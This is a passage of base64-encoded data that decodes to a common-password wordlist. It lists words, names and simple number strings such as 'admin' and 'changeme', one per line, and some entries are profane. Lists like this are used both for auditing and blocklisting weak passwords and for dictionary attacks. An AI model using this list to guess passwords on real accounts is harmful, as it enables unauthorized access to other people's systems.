0DQpnb2xmZXINCmdvb2Jlcg0KZ3JhY2UNCmdyYXRlZnVsDQpncmVlbmRheQ0KZ3Jvb3Z5DQpncm92ZXINCmd1aXRhcg0KaGFja2VyDQpoYXJyeQ0KaGF6ZWwNCmhlY3Rvcg0KaGVyYmVydA0KaG9vcHMNCmhvcml6b24NCmhvcm5ldA0KaG93YXJkDQppY2VjcmVhbQ0KaW1hZ2luZQ0KaW1wYWxhDQppbmZvcm1peA0KamFjaw0KamFuaWNlDQpqYXNtaW5lDQpqYXNvbjENCmplYW5ldHRlDQpqZWZmcmV5DQpqZW5pZmVyDQpqZW5uaQ0KamVzdXMxDQpqZXdlbHMNCmpva2VyDQpqdWxpZQ0KanVsaWUxDQpqdW5pb3INCmp1c3RpbjENCmthdGhsZWVuDQprZWl0aA0Ka2VsbHkNCmtlbGx5MQ0Ka2VubmVkeQ0Ka2V2aW4xDQprbmlja3MNCmxhZHkNCmxhcnJ5MQ0KbGVkemVwDQpsZWUNCmxlb25hcmQNCmxlc3RhdA0KbGlicmFyeQ0KbGluY29sbg0KbGlvbmtpbmcNCmxvbmRvbg0KbG91aXNlDQpsdWNreTENCmx1Y3kNCm1hZGRvZw0KbWFpbG1hbg0KbWFqb3Jkb21vDQptYW50cmENCm1hcmdhcmV0DQptYXJpcG9zYQ0KbWFya2V0DQptYXJsYm9ybw0KbWFydGluMQ0KbWFydHkNCm1hc3RlcjENCm1hemRhMQ0KbWVuc3Vjaw0KbWVyY2VkZXMNCm1ldGFsDQptZXRhbGxpYw0KbWlkb3JpDQptaWtleQ0KbWlsbGllDQptaXJhZ2UNCm1tbQ0KbW9sbHkNCm1vbmV0DQptb25leTENCm1vbmljYQ0KbW9ub3BvbHkNCm1vb2tpZQ0KbW9vc2UNCm1vcm9uaQ0KbXVzaWMNCm5hb21pDQpuYXRoYW4NCm5jYzE3MDFlDQpuZXNiaXR0DQpuZXdzDQpuZ3V5ZW4NCm5pY2hvbGFzDQpuaWNvbGUNCm5pbXJvZA0Kb2N0b2Jlcg0Kb2xpdmUNCm9saXZpYQ0Kb25lDQpvbmxpbmUNCm9wZW4NCm9zY2FyDQpveGZvcmQNCnBhY2lmaWMNCnBhaW50ZXINCnBlYWNoZXMNCnBlbmVsb3BlDQpwZXBzaQ0KcGV0ZQ0KcGV0dW5pYQ0KcGhpbGlwDQpwaG9lbml4MQ0KcGhvdG8NCnBpY2tsZQ0KcGxheWVyDQpwb2l1eXQNCnBvcnNjaGUNCnBvcnRlcg0KcHBwDQpwdXBweQ0KcHl0aG9uDQpxdWFsaXR5DQpxdWVzdA0KcmFxdWVsDQpyYXZlbg0KcmVtZW1iZXINCnJlcHVibGljDQpyZXNlYXJjaA0Kcm9iYmllDQpyb2JlcnQxDQpyb21hbg0KcnVnYnkNCnJ1bm5lcg0KcnVzc2VsbA0Kcnlhbg0Kc2FpbGluZw0Kc2FpbG9yDQpzYW1hbnRoYQ0Kc2F2YWdlDQpzYmRjDQpzY2FybGV0dA0Kc2Nob29sDQpzZWFuDQpzZXZlbg0Kc2hhZG93MQ0Kc2hlYmENCnNoZWxieQ0Kc2hpdA0Kc2hvZXMNCnNpbWJhDQpzaW1wbGUNCnNraXBwZXINCnNtaWxleQ0Kc25ha2UNCnNuaWNrZXJzDQpzbmlwZXINCnNub29wZG9nDQpzbm93bWFuDQpzb25pYw0Kc3BpdGZpcmUNCnNwcml0ZQ0Kc3B1bmt5DQpzdGFyd2Fycw0Kc3RhdGlvbg0Kc3RlbGxhDQpzdGluZ3JheQ0Kc3Rvcm0NCnN0b3JteQ0Kc3R1cGlkDQpzdW11aW5lbg0Kc3VubnkxDQpzdW5yaXNlDQpzdXByYQ0Kc3VyZmVyDQpzdXNhbg0KdGFtbXkNCnRhbmdvDQp0YW55YQ0KdGFyYQ0KdGVkZHkxDQp0ZW1wDQp0ZXN0aW5nDQp0aGVib3NzDQp0aGVraW5nDQp0aHVtcGVyDQp0aW5hDQp0aW50aW4NCnRvbWNhdA0KdHJlYm9yDQp0cmVrDQp0cmV2b3INCnR3ZWV0eQ0KdW5pY29ybg0KdmFsZW50aW5lDQp2YWxlcmllDQp2YW5pbGxhDQp2ZXJvbmljYQ0KdmljdG9yDQp2aW5jZW50DQp2aXBlcg0Kd2Fycmlvcg0Kd2FycmlvcnMNCndlYXNlbA0Kd2hlZWxzDQp3aWxidXINCndpbnN0b24NCndpc2RvbQ0Kd29tYmF0DQp4YW5hZHUNCnhhdmllcg0KeHh4eA0KeWVsbG93DQp6YXBob2QNCnplcHBlbGluDQp6ZXVzDQohQCMkJV4NCiFAIyQlXiYqDQoqDQowMDA3DQoxMDIyDQoxMHNuZTENCjExMTENCjEyMTINCjE5MTENCjE5NDgNCjE5NzMNCjE5NzgNCjE5OTYNCjFwMm8zaQ0KMjAwMA0KMjIyMg0KM2JlYXJzDQo1MjUyDQpBbmRyZXcNCkJyb2Fkd2F5DQpDaGFtcHMNCkZhbWlseQ0KRmlzaGVyDQpGcmllbmRzDQpKZWFubmUNCktpbGxlcg0KS25pZ2h0DQpNYXN0ZXINCk1pY2hhZWwNCk1pY2hlbGxlDQpQZW50aXVtDQpQZXBwZXINClJhaXN0bGluDQpTaWVycmENClNub29weQ0KVGVubmlzDQpUdWVzZGF5DQphYmFjYWINCmFiY2QNCmFiY2QxMjM0DQphYmNkZWZnDQphYmlnYWlsDQphY2NvdW50DQphY2UNCmFjcm9wb2xpcw0KYWRhbQ0KYWRpDQphbGV4MQ0KYWxpY2UxDQphbGxpc29uDQphbHBpbmUNCmFteQ0KYW5kZXJzDQphbmRyZTENCmFuZHJlYTENCmFuZ2VsMQ0KYW5pdGENCmFubmV0dGUNCmFudGFyZXMNCmFwYWNoZQ0KYXBvbGxvDQphcmFnb3JuDQphcml6b25hDQphcm5vbGQNCmFyc2VuYWwNCmFzZGZhc2RmDQphc2RmZw0KYXNkZmdoamsNCmF2ZW5nZXINCmF2ZW5pcg0KYmFieQ0KYmFieWRvbGwNCmJhY2gNCmJhaWxleQ0KYmFuYW5hDQpiYXJyeQ0KYmFzaWwNCmJhc2tldA0KYmFzcw0KYmF0bWFuMQ0KYmVhbmVyDQpiZWFzdA0KYmVhdHJpY2UNCmJlZXINCmJlbGxhDQpiZW4NCmJlcnRoYQ0KYmlnYmVuDQpiaWdkb2cNCmJpZ2dsZXMNCmJpZ21hbg0KYmlua3kNCmJpb2xvZ3kNCmJpc2hvcA0KYmxpc3MNCmJsb25kaWUNCmJsb3dmaXNoDQpibHVlZmlzaA0KYm13DQpib2JjYXQNCmJvc2NvDQpib3NzDQpicmF2ZXMNCmJyYXppbA0KYnJpZGdlcw0KYnJ1Y2UNCmJydW5vDQpicnV0dXMNCmJ1Y2sNCmJ1ZmZhbG8NCmJ1Z3N5DQpidWxsDQpidWxsZG9nDQpidWxsZXQNCmJ1bGxzaGl0DQpidW5ueQ0KYnVzaW5lc3MNCmJ1dGNoDQpidXRsZXINCmJ1dHRlcg0KY2FsaWZvcm5pYQ0KY2Fubm9uZGFsZQ0KY2Fub24NCmNhcmViZWFyDQpjYXJvbA0KY2Fyb2wxDQpjYXJvbGUNCmNhc3NpZQ0KY2FzdGxlDQpjYXRhbGluYQ0KY2F0aGVyaW5lDQpjYXRuaXANCmNjY2NjYw0KY2VsaW5lDQpjZW50ZXINCmNoYW1waW9uDQpjaGFuZWwNCmNoYW9zDQpjaGVsc2VhMQ0KY2hlc3RlcjENCmNoaWNhZ28NCmNoaWNvDQpjaGlwDQpjaHJpc3RpYW4NCmNocmlzdHkNCmNodXJjaA0KY2luZGVyDQpjaXZpbA0KY29sbGVlbg0KY29sb3JhZG8NCmNvbHVtYmlhDQpjb21tYW5kZXINCmNvbm5pZQ0KY29udGVudA0KY29vaw0KY29va2llcw0KY29va2luZw0KY29yZGVsaWENCmNvcm9uYQ0KY293Ym95cw0KY295b3RlDQpjcmFjazENCmNyYWlnDQpjcmVhdGl2ZQ0KY3Jvdw0KY3VkZGxlcw0KY3VlcnZvDQpjdXRpZQ0KY3liZXINCmRhZGR5DQpkYWlzaWUNCmRhaXN5DQpkYW5pZWwxDQpkYW5pZWxsZQ0KZGFyazENCmRhdGFiYXNlDQpkYXZpZHMNCmRlYWRoZWFkDQpkZWF0aA0KZGVuYWxpDQpkZW5pcw0KZGVwZWNoZQ0KZGVyZWsNCmRlc2lnbg0KZGVzdGlueQ0KZGlhbmENCmRpYW5lDQpkaWNrZW5zDQpkaWNraGVhZA0KZGlnZ2VyDQpkb2RnZXINCmRvbg0KZG9ubmENCmRvdWdpZQ0KZHJhZnQNCmRyYWdvbmZseQ0KZHlsYW4NCmVhZ2xlDQplY2xpcHNlDQplbGVjdHJpYw0KZW1lcmFsZA0KZW1taXR0DQplbnRyb3B5DQpldG9pbGUNCmV4Y2FsaWJ1cg0KZXhwcmVzcw0KZmFyb3V0DQpmYXJzaWRlDQpmZWVkYmFjaw0KZmVuZGVyDQpmaWRlbA0KZmlvbmENCmZpcmVtYW4NCmZpcmVuemUNCmZpc2gxDQpmbGFzaA0KZmxldGNoDQpmbG9yaWRhDQpmbG93ZXJzDQpmb29sDQpmb3N0ZXINCmZvenppZQ0KZnJhbmNlc2NvDQpmcmFuY2luZQ0KZnJhbmNvaXMNCmZyYW5rDQpmcmVuY2gNCmZ1Y2tmYWNlDQpmdW4NCmdhcmdveWxlDQpnYXNtYW4NCmdlbWluaQ0KZ2VuZXJhbA0KZ2VyYWxkDQpnZXJtYW55DQpnaWxiZXJ0DQpnb2F3YXkNCmdvbGQNCmdvbGRlbg0KZ29sZGZpc2gNCmdvb3NlDQpnb3Jkb24NCmdyYWhhbQ0KZ3JhbnQNCmdyYXBoaWMNCmdyZWdvcnkNCmdyZXRjaGVuDQpndW5uZXINCmhhbDkwMDANCmhhbm5haA0KaGFyb2xkDQpoYXJyaXNvbg0KaGFydmV5DQpoYXdrZXllDQpoZWF2ZW4NCmhlaWRpDQpoZWxlbg0KaGVsZW5hDQpoZWxsDQpoZXJ6b2cNCmhpdGhlcmUNCmhvYmJpdA0KaHVleQ0KaWJhbmV6DQppZG9udGtub3cNCmltYWdlDQppbnRlZ3JhDQppbnRlcm4NCmludHJlcGlkDQppcmVsYW5kDQppcmVuZQ0KaXNhYWMNCmlzYWJlbA0KamFja2llDQpqYWNrc29uDQpqYWd1YXINCmphbWFpY2ENCmphcGFuDQpqZWZmDQpqZW5ueTENCmplc3NpZQ0KamV0aHJvdHVsbA0KamtsMTIzDQpqb2VsDQpqb2hhbg0Kam9oYW5uYTENCmpvaG5ueQ0Kam9rZXIxDQpqb3JkYW4yMw0KanVkaXRoDQpqdWxpYQ0KanVtYW5qaQ0KanVzc2kNCmthbmdhcm9vDQprYXJlbjENCmthdGh5DQprZWVwb3V0DQprZWl0aDENCmtlbm5ldGgNCmtpZGRlcg0Ka2ltDQpraW1iZXJseQ0Ka2luZw0Ka2luZ2RvbQ0Ka2lyaw0Ka2l0a2F0DQprcmFtZXINCmtyaXMNCmtyaXN0ZW4NCmxhbWJkYQ0KbGF1cmENCmxhdXJpZQ0KbGF3DQpsYXdyZW5jZQ0KbGF3eWVyDQpsZWdlbmQNCmxlb24NCmxpYmVydHkNCmxpZ2h0DQpsaW5kc2F5DQpsaW5kc2V5DQpsaXNhDQpsaXZlcnBvb2wNCmxvZ2ljYWwNCmxvbGENCmxvbmVseQ0KbG9ycmllDQpsb3Vpcw0KbG92ZWx5DQpsb3ZlbWUNCmx1Y2FzDQptDQptYWRvbm5hDQptYWlsDQptYWpvcg0KbWFsY29sbQ0KbWFsaWJ1DQptYXJhdGhvbg0KbWFyY2VsDQptYXJpYTENCm1hcmlhaA0KbWFyaWFoMQ0KbWFyaWx5bg0KbWFyaW5lcg0KbWFyaW8NCm1hcmsxDQptYXJ2aW4NCm1hdXJpY2UNCm1heA0KbWF4aW5lDQptYXh3ZWxsDQptZQ0KbWVkaWENCm1lZ2dpZQ0KbWVsYW5pZQ0KbWVsaXNzYQ0KbWVsb2R5DQptZXJsb3QNCm1leGljbw0KbWljaGFlbDENCm1pY2hlbGUNCm1pZG5pZ2h0DQptaWR3YXkNCm1pa2UxDQptaWtpDQptaW5lDQptaXJhY2xlDQptaXNoYQ0KbWlzaGthDQptbW91c2UNCm1vbGx5MQ0KbW9uaXF1ZQ0KbW9udHJlYWwNCm1vb2Nvdw0KbW9vbg0KbW9vcmUNCm1vcGFyDQptb3JyaXMNCm1vcnQNCm1vcnRpbWVyDQptb3VzZTENCm11bGRlcg0KbmF1dGljYQ0KbmVsbGllDQpuZXJtYWwNCm5ldw0KbmV3dG9uDQpuaWNhcmFvDQpuaWNrDQpuaW5hDQpuaXJ2YW5hMQ0Kbmlzc2FuDQpub3JtYW4NCm5vdGVib29rDQpvY2Vhbg0Kb2xpdmllcg0Kb2xsaWUNCm9sc2VuDQpvcGVyYQ0Kb3B1cw0Kb3Jhbmdlcw0Kb3JlZ29uDQpvcmlvbg0Kb3ZlcmtpbGwNCnBhY2Vycw0KcGFja2VyDQpwYW5kYQ0KcGFuZG9yYQ0KcGFudGhlcg0KcGFzc2lvbg0KcGF0cmljaWENCnBlYXJsDQpwZWV3ZWUNCnBlbmNpbA0KcGVubnkNCnBlb3BsZQ0KcGVyY3kNCnBlcnNvbg0KcGV0ZXIxDQpwZXRleQ0KcGljYXJkDQpwaWNhc3NvDQpwaWVycmUNCnBpbmtmbG95ZA0KcGl0DQpwbHVzDQpwb2xhcg0KcG9sYXJpcw0KcG9saWNlDQpwb2xvDQpwb29raWUxDQpwb3BweQ0KcG93ZXINCnByZWRhdG9yDQpwcmVzdG9uDQpwcmltdXMNCnByb21ldGhldXMNCnB1YmxpYw0KcTF3MmUzDQpxdWVlbg0KcXVlZW5pZQ0KcXVlbnRpbg0KcmFkaW8NCnJhbHBoDQpyYW5kb20NCnJhbmdlcnMNCnJhcHRvcg0KcmFzdGFmYXJpYW4NCnJlYWxpdHkNCnJlZHJ1bQ0KcmVtb3RlDQpyZXB0aWxlDQpyZXlub2xkcw0KcmhvbmRhDQpyaWNhcmRvDQpyaWNhcmRvMQ0Kcmlja3kNCnJpdmVyDQpyb2FkcnVubmVyDQpyb2INCnJvYmluaG9vZA0Kcm9ib3RlY2gNCnJvY2tucm9sbA0Kcm9ja3kxDQpyb2Rlbw0Kcm9sZXgNCnJvbmFsZA0Kcm91Z2UNCnJveHkNCnJveQ0KcnVieQ0KcnV0aGllDQpzYWJyaW5hDQpzYWt1cmENCnNhbGFzYW5hDQpzYWxseQ0Kc2FtcHNvbg0Kc2FtdWVsDQpzYW5kcmENCnNhbnRhDQpzYXBwaGlyZQ0Kc2NhcmVjcm93DQpzY2FybGV0DQpzY29ycGlvDQpzY290dDENCnNjb3R0aWUNCnNjb3V0DQpzY3J1ZmZ5DQpzY3ViYTENCnNlYXR0bGUNCnNlcmVuYQ0Kc2VyZ2V5DQpzaGFudGkNCnNoYXJrDQpzaG9ndW4NCnNpbW9uDQpzaW5nZXINCnNraWJ1bQ0Kc2t1bGwNCnNrdW5rDQpza3l3YWxrZXINCnNsYWNrZXINCnNtYXNoaW5nDQpzbWlsZXMNCnNub3dmbGFrZQ0Kc25vd3NraQ0Kc251ZmZ5DQpzb2NjZXIxDQpzb2xlaWwNCnNvbm55DQpzb3VuZA0Kc3Bhbmt5DQpzcGVlZHkNCnNwaWRlcg0Kc3Bvb2t5DQpzdGFjZXkNCnN0YXI2OQ0Kc3RhcnQNCnN0YXJ0ZXINCnN0ZXZlbjENCnN0aW5nMQ0Kc3Rpbmt5DQpzdHJhd2JlcnJ5DQpzdHVhcnQNCnN1Z2FyDQpzdW5iaXJkDQpzdW5kYW5jZQ0Kc3VwZXJmbHkNCnN1emFubmUNCnN1enVraQ0Kc3dpbW1lcg0Kc3dpbW1pbmcNCnN5c3RlbQ0KdGFmZnkNCnRhcnphbg0KdGJpcmQNCnRlZGR5DQp0ZWRkeWJlYXINCnRlZmxvbg0KdGVtcG9yYWwNCnRlcm1pbmFsDQp0ZXJyeQ0KdGhlDQp0aGVhdHJlDQp0aGVqdWRnZQ0KdGh1bmRlcg0KdGh1cnNkYXkNCnRpbWUNCnRpbmtlcg0KdG9ieQ0KdG9kYXkNCnRva3lvDQp0b290c2llDQp0b3JuYWRvDQp0cmFjeQ0KdHJlZQ0KdHJpY2lhDQp0cmlkZW50DQp0cm9qYW4NCnRyb3V0DQp0cnVtYW4NCnRydW1wZXQNCnR1Y2tlcg0KdHVydGxlDQp0eWxlcg0KdXRvcGlhDQp2YWRlcg0KdmFsDQp2YWxoYWxsYQ0KdmlzYQ0Kdm95YWdlcg0Kd2FyY3JhZnQNCndhcmxvY2sNCndhcnJlbg0Kd2F0ZXINCndheW5lDQp3ZW5keQ0Kd2lsbGlhbXMNCndpbGx5DQp3aW45NQ0Kd2luZHN1cmYNCndpbm9uYQ0Kd29sZg0Kd29sZjENCndvb2R5DQp3b29md29vZg0Kd3JhbmdsZXINCndyaWdodA0Kd3d3DQp4Y291bnRyeQ0KeGZpbGVzDQp4eHh4eHgNCnkNCnlhbmtlZXMNCnlvZGENCnl1a29uDQp5dm9ubmUNCnplYnJhDQp6ZW5pdGgNCnppZ3phZw0Kem9tYmllDQp6eGMxMjMNCnp4Y3ZiDQp6enoNCjAwMDAwMA0KMDA3MDA3DQoxMTExMQ0KMTExMTExMTENCjEyMTMNCjEyMTQNCjEyMjUNCjEyMzMyMQ0KMTMxMw0KMTMxNg0KMTMzMg0KMTQxMg0KMTQzMA0KMTcxNzE3DQoxODE4DQoxODE4MTgNCjE5NTANCjE5NTINCjE5NTMNCjE5NTUNCjE5NTYNCjE5NjANCjE5NjQNCjE5NzUNCjE5NzcNCjE5OTENCjFhMmIzYw0KMWNocmlzDQoxa2l0dHkNCjFxdzIzZQ0KMjAwMQ0KMjAyMA0KMjExMg0KMjINCjIyMDANCjIyNTINCjJraWRzDQozMDEwDQozMTEyDQozMTQxDQozMzMNCjM1MzMNCjQwNTUNCjQ0NDQNCjQ3ODgNCjQ4NTQNCjRydW5uZXINCjUwNTANCjUxMjENCjU0MzIxDQo1NTU1NQ0KNTdjaGV2eQ0KNjI2Mg0KNjMwMQ0KNjk2OQ0KNzc3Nzc3Nw0KNzg5NDU2DQo3ZHdhcmZzDQo4ODg4ODg4OA0KQWJjZGVmZw0KQWxleGlzDQpBbHBoYQ0KQW5pbWFscw0KQXJpZWwNCkJPU1MNCkJhaWxleQ0KQmFzdGFyZA0KQmVhdmlzDQpCaXNtaWxsYWgNCkJvbnpvDQpCb29ib28NCkJvc3Rvbg0KQ2FudWNrcw0KQ2FyZGluYWwNCkNhcm9sDQpDZWx0aWNzDQpDaGFuZ2VNZQ0KQ2hhcmxpZQ0KQ2hyaXMNCkNvbXB1dGVyDQpDb3VnYXINCkNyZWF0aXZlDQpDdXJ0aXMNCkRhbmllbA0KRGFya21hbg0KRGVuaXNlDQpEcmFnb24NCkVhZ2xlcw0KRWxpemFiZXRoDQpFc3RoZXINCkZpZ2Fybw0KRmlzaGluZw0KRm9ydHVuZQ0KRnJlZGR5DQpGcm9udDI0Mg0KR2FuZGFsZg0KR2Vyb25pbW8NCkdpbmdlcnMNCkdvbGRlbg0KR29vYmVyDQpHcmV0ZWwNCkhBUkxFWQ0KSGFja2VyDQpIYW1tZXINCkhhcmxleQ0KSGVhdGhlcg0KSGVucnkNCkhlcnNoZXkNCkhvbWVyDQpKYWNrc29uDQpKYW5ldA0KSmVubmlmZXINCkplcnNleQ0KSmVzc2ljYQ0KSm9hbm5hDQpKb2huc29uDQpKb3JkYW4NCktJTExFUg0KS2F0aWUNCktpdHRlbg0KTGliZXJ0eQ0KTGluZHNheQ0KTGl6YXJkDQpNYWRlbGluZQ0KTWFyZ2FyZXQNCk1heHdlbGwNCk1lbGxvbg0KTWVybG90DQpNZXRhbGxpYw0KTWljaGVsMQ0KTW9uZXkNCk1vbnN0ZXINCk1vbnRyZWFsDQpOZXd0b24NCk5pY2hvbGFzDQpOb3Jpa28NClBhbGFkaW4NClBhbWVsYQ0KUGFzc3dvcmQNClBlYWNoZXMNClBlYW51dHMNClBldGVyDQpQaG9lbml4DQpQaWdsZXQNClBvb2tpZQ0KUHJpbmNlc3MNClB1cnBsZQ0KUmFiYml0DQpSYWlkZXJzDQpSYW5kb20NClJlYmVjY2ENClJvYmVydA0KUnVzc2VsbA0KU2FtbXkNClNhdHVybg0KU2VydmljZQ0KU2hhZG93DQpTaWRla2ljaw0KU2tlZXRlcg0KU21va2V5DQpTcGFya3kNClNwZWVkeQ0KU3RlcmxpbmcNClN0ZXZlbg0KU3VtbWVyDQpTdW5zaGluZQ0KU3VwZXJtYW4NClN2ZXJpZ2UNClN3b29zaA0KVGF5bG9yDQpUaGVyZXNhDQpUaG9tYXMNClRodW5kZXINClZlcm5vbg0KVmljdG9yaWENClZpbmNlbnQNCldhdGVybG9vDQpXZWJzdGVyDQpXaWxsb3cNCldpbm5pZQ0KV29sdmVyaW5lDQpXb29kcm93DQpXb3JsZA0KYWENCmFhYWENCmFhcmR2YXJrDQphYmJvdHQNCmFiY2QxMjMNCmFiY2RlDQphY2NvcmQNCmFjdGl2ZQ0KYWN1cmENCmFkZw0KYWRtaW4NCmFkbWluMQ0KYWRyb2NrDQphZXJvYmljcw0KYWZyaWNhDQphZ2VudA0KYWlyYm9ybmUNCmFpcndvbGYNCmFraTEyMw0KYWxmYXJvDQphbGkNCmFsaWNpYQ0KYWxpZW4NCmFsaWVucw0KYWxpbmENCmFsaW5lDQphbGlzb24NCmFsbGVncm8NCmFsbGVuDQphbGxzdGF0ZQ0KYWxvaGENCmFscGhhMQ0KYWx0YW1pcmENCmFsdGhlYQ0KYWx0aW1hDQphbHRpbWExDQphbWFuZGExDQphbWF6aW5nDQphbWVyaWNhDQphbW91cg0KYW5kZXJzb24NCmFuZHJlDQphbmRyZXchDQphbmRyZXcxDQphbmRyb21lZA0KYW5nZWxzDQphbmdpZTENCmFubg0KYW5uZQ0KYW5uZWxpDQphbm5pZQ0KYW55dGhpbmcNCmFwcGxlMQ0KYXBwbGUyDQphcHBsZXBpZQ0KYXByaWwNCmFwdGl2YQ0KYXF1YQ0KYXF1YXJpdXMNCmFyaWFuZQ0KYXJpZWwNCmFybGVuZQ0KYXJyb3cNCmFydGVtaXMNCmFzZGYxMjM0DQphc2RmO2xrag0KYXNkZmprbA0KYXNobGV5MQ0KYXNocmFmDQphc2h0b24NCmFzc211bmNoDQphc3Rlcml4DQphdHRpbGENCmF1dHVtbg0KYXZhdGFyDQpheWVsZXQNCmF5bG1lcg0KYmFiZXMNCmJhbWJpDQpiYXJha2ENCmJhcmJpZQ0KYmFybg0KYmFybmV5MQ0KYmFybnlhcmQNCmJhcnJldHQNCmJhcnQNCmJhcnRtYW4NCmJiYWxsDQpiZWFjaGVzDQpiZWFuaWUNCmJlYW5zDQpiZWFzdHkNCmJlYXV0eQ0KYmVhdmlzMQ0KYmViZQ0KYmVjY2ENCmJlbGdpdW0NCmJlbGl6ZQ0KYmVsbGUNCmJlbG1vbnQNCmJlbmppDQpiZW5zb24NCmJlb3d1bGYNCmJlcm5hcmRvDQpiZXJyeQ0KYmVyeWwNCmJlc3QNCmJldGENCmJldGFjYW0NCmJldHN5DQpiZXR0eQ0KYmhhcmF0DQpiaWNob24NCmJpZ2FsDQpiaWdib3NzDQpiaWdyZWQNCmJpa2VyDQpiaWxibw0KYmlsbHMNCmJpbGx5MQ0KYmltbWVyDQpiaW9ib3kNCmJpb2NoZW0NCmJpcmRpZQ0KYmlyZHkNCmJpcnRoZGF5DQpiaXNjdWl0DQpiaXR0ZXINCmJpeg0KYmxhY2tqYWNrDQpibGFoDQpibGFuY2hlDQpibGluZHMNCmJsaXR6DQpibG9vZA0KYmxvd2pvYg0KYmxvd21lDQpibHVlZXllcw0KYmx1ZWplYW4NCmJsdWVzDQpib2F0DQpib2dhcnQNCmJvZ2V5DQpib2d1cw0KYm9tYmF5DQpib29iaWUNCmJvb3RzDQpib290c2llDQpib3VsZGVyDQpib3VyYm9uDQpib3hlcg0KYm94ZXJzDQpib3pvDQpicmFpbg0KYnJhbmNoDQpicmFuZGkNCmJyZW50DQpicmV3c3Rlcg0KYnJpZGdlDQpicml0YWluDQpicm9rZXINCmJyb25jbw0KYnJvbnRlDQpicm9va2UNCmJyb3RoZXINCmJyeWFuDQpidWJibGUNCmJ1Y2tzDQpidWRkaGENCmJ1ZGdpZQ0KYnVmZmV0dA0KYnVncw0KYnVsbHMNCmJ1cm5zDQpidXJ0b24NCmJ1dHRlcmZseQ0KYnV6eg0KYnlyb24NCmMwMHBlcg0KY2FsZW5kYXINCmNhbGdhcnkNCmNhbHZpbjENCmNhbWF5DQpjYW1lbA0KY2FtaWxsZQ0KY2FtcGJlbGwNCmNhbXBpbmcNCmNhbmNlcg0KY2FuZWxhDQpjYW5ub24NCmNhcg0KY2FyYm9uDQpjYXJsDQpjYXJuYWdlDQpjYXJvbHluDQpjYXJyb3QNCmNhc2NhZGUNCmNhdA0KY2F0ZmlzaA0KY2F0aHkNCmNhdHdvbWFuDQpjZWNpbGUNCmNlbGljYQ0KY2VtZW50DQpjZXNzbmENCmNoYWQNCmNoYWluc2F3DQpjaGFtZWxlb24NCmNoYW5nDQpjaGFuZ2UNCmNoYW50YWwNCmNoYXJnZXINCmNoYXQNCmNoZXJyeQ0KY2hlc3MNCmNoaWFyYQ0KY2hpZWZzDQpjaGluYQ0KY2hpbmFjYXQNCmNoaW5vb2sNCmNob3VldHRlDQpjaHJpczEyMw0KY2hyaXN0MQ0KY2hyaXN0bWFzDQpjaHJpc3RvcGhlcg0KY2hyb25vcw0KY2h1Y2sNCmNpY2Vybw0KY2luZHkxDQpjaW5lbWENCmNpcmN1aXQNCmNpcnF1ZQ0KY2lycnVzDQpjaXZpYw0KY2xhcHRvbg0KY2xhcmtzb24NCmNsYXNzDQpjbGF1ZGUNCmNsYXVkZWwNCmNsZW8NCmNsaWZmDQpjbG9jaw0KY2x1ZWxlc3MNCmNvYmFpbg0KY29icmENCmNvZHkNCmNvbGV0dGUNCmNvbGxlZ2UNCmNvbG9yDQpjb2xvcnMNCmNvbHQ0NQ0KY29tZXQNCmNvbmNlcHQNCmNvbmNvcmRlDQpjb25mdXNlZA0KY29vbA0KY29vbGJlYW4NCmNvcmENCmNvcmt5DQpjb3JuZmxha2UNCmNvcnZldHRlDQpjb3J3aW4NCmNvc21vDQpjb3VudHJ5DQpjb3VyaWVyDQpjb3dzDQpjcmVzY2VudA0KY3Jvc3MNCmNyb3dsZXkNCmNydXNhZGVyDQpjdGh1bGh1DQpjdWRhDQpjdW5uaW5naGFtDQpjdW50DQpjdXBjYWtlDQpjdXJyZW50DQpjdXRsYXNzDQpjeW50aGlhDQpkYWVkYWx1cw0KZGFnZ2VyDQpkYWdnZXIxDQpkYWlseQ0KZGFsZQ0KZGFtbWl0DQpkYW1vZ3Jhbg0KZGFuYQ0KZGFuY2VyDQpkYXBobmUNCmRhcmtzdGFyDQpkYXJyZW4NCmRhcnJ5bA0KZGFyd2luDQpkYXRhMQ0KZGF0YXRyYWluDQpkYXl0ZWsNCmRlYWQNCmRlYm9yYWgNCmRlY2VtYmVyDQpkZWNrZXINCmRlZWRlZQ0KZGVlem51dHMNCmRlZg0KZGVsYW5vDQpkZWxldGUNCmRlbW9uDQpkZW5pc2UNCmRlbm55DQpkZXNlcnQNCmRlc2tqZXQNCmRldHJvaXQNCmRldmlsDQpkZXZpbmUNCmRldm9uDQpkZXh0ZXINCmRoYXJtYQ0KZGlhbm5lDQpkaWVzZWwNCmRpbGx3ZWVkDQpkaW0NCmRpcHBlcg0KZGlyZWN0b3INCmRpc2NvDQpkaXhpZQ0KZGl4b24NCmRvYw0KZG9kZ2Vycw0KZG9nYmVydA0KZG9nZ3kNCmRvaXRub3cNCmRvbGxhcg0KZG9sbHkNCmRvbWluaXF1ZQ0KZG9taW5vDQpkb250a25vdw0KZG9vZ2llDQpkb29ycw0KZG9yaw0KZG91ZG91DQpkb3VnDQpkb3dudG93bg0KZHJhZ29uMQ0KZHJpdmVyDQpkdWRlDQpkdWRsZXkNCmR1dGNoDQpkdXRjaGVzcw0KZHdpZ2h0DQplYWdsZTENCmVhc3Rlcg0KZWFzdGVybg0KZWRpdGgNCmVkbXVuZA0KZWZmaWUNCmVpZWlvDQplaWdodA0KZWxlbWVudA0KZWxpbmExDQplbGlzc2ENCmVsbGENCmVsbGVuDQplbGxpb3QNCmVsc2llDQplbXBpcmUNCmVuZ2FnZQ0KZW5pZ21hDQplbnRlcnByaXNlDQplcmljMQ0KZXJpbg0KZXJuaWUxDQplc2NvcnQNCmVzY29ydDENCmVzdGVsbGUNCmV1Z2VuZQ0KZXZlbHluDQpleGNlbA0KZXhwbG9yZQ0KZXlhbA0KZmFjdWx0eQ0KZmFpcnZpZXcNCmZhbWlseTENCmZhdGJveQ0KZmF1c3QNCmZlbGlwZQ0KZmVucmlzDQpmZXJndXNvbg0KZmVycmV0DQpmZXJyaXMNCmZpbmFuY2UNCmZpcmViYWxsDQpmaXJzdA0KZmlzaGVzDQpmaXNoaGVhZA0KZmlzaGllDQpmbGFuZGVycw0KZmxldXJzDQpmbGlnaHQNCmZsb3JpZGExDQpmbG93ZXJwb3QNCmZsdXRlDQpmbHkNCmZseWJveQ0KZmx5ZXINCmZvcndhcmQNCmZyYW5rYQ0KZnJlZGRpZQ0KZnJlZGVyaWMNCmZyZWUNCmZyZWViaXJkDQpmcmVlbWFuDQpmcmlzY28NCmZyaXR6DQpmcm9nZ2llDQpmcm9nZ2llcw0KZnJvZ3MNCmZyb250MjQyDQpmcm9udGllcg0KZnVja3UNCmZ1Z2F6aQ0KZnVuZ3V5DQpmdW50aW1lDQpmdXR1cmUNC